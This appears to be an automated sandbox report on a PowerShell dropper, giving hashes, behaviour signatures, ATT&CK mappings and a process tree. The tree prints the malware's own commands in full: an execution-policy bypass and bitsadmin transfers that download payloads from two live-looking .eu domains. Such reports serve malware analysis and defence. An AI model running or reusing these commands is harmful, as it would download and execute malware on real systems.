9681c0c07bdd630a1953d61e383038b057986a7a05c3f5f0f5d8370f3acd4515

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
29-11-2024 11:59

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General

Target

WyChVIlbg/UaqyTpZb.ps1
Size

2KB
MD5

8540f5e40048f2e57fb5e2df66dbfe87
SHA1

eb038fd0f3e8bf11fdd16935de73ccf41d0331fd
SHA256

7005d74259760c7cc54a73e1c52cd8f7ff4aa641dac00fba952bc11d6557aae5
SHA512

b9555215dee32445c78a8138c885a5bb496dbd88d5d6f3037b9c427444fecb1cee0c5a2e3a23911f20ad2270f4e637725fbfae6cd19de5f8116924b817eba754

Score

10^/10

dropper execution

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

bitsadmin.exebitsadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2844	3040	bitsadmin.exe	31
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1592	3040	bitsadmin.exe	31

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
2844	bitsadmin.exe
1592	bitsadmin.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2232	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
2232	powershell.exe
2232	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2232	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 2232 wrote to memory of 2744	2232	powershell.exe	32
PID 2232 wrote to memory of 2744	2232	powershell.exe	32
PID 2232 wrote to memory of 2744	2232	powershell.exe	32
PID 2232 wrote to memory of 2616	2232	powershell.exe	34
PID 2232 wrote to memory of 2616	2232	powershell.exe	34
PID 2232 wrote to memory of 2616	2232	powershell.exe	34

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\WyChVIlbg\UaqyTpZb.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\system32\getmac.exe
  "C:\Windows\system32\getmac.exe" /fo table
  2⤵
  PID:2744
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /reset
  2⤵
  PID:2616

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer aTOieb /priority FOREGROUND "https://yjtyhm13.eu/topic//0da7da84c68800837a7a42a04d2cb6c3.html" C:\Users\Admin\AppData\Local\Temp\WyChVIlbg\0_taskhost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:2844

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer bsAtHG /priority FOREGROUND "https://nmhholiut13.eu/topic//0da7da84c68800837a7a42a04d2cb6c3.html" C:\Users\Admin\AppData\Local\Temp\WyChVIlbg\1_taskhost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:1592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2232-4-0x000007FEF53BE000-0x000007FEF53BF000-memory.dmp

Filesize
4KB

Download
memory/2232-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2232-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2232-7-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2232-8-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2232-9-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2232-10-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2232-11-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2232-12-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2232-13-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2232-14-0x000007FEF53BE000-0x000007FEF53BF000-memory.dmp

Filesize
4KB

Download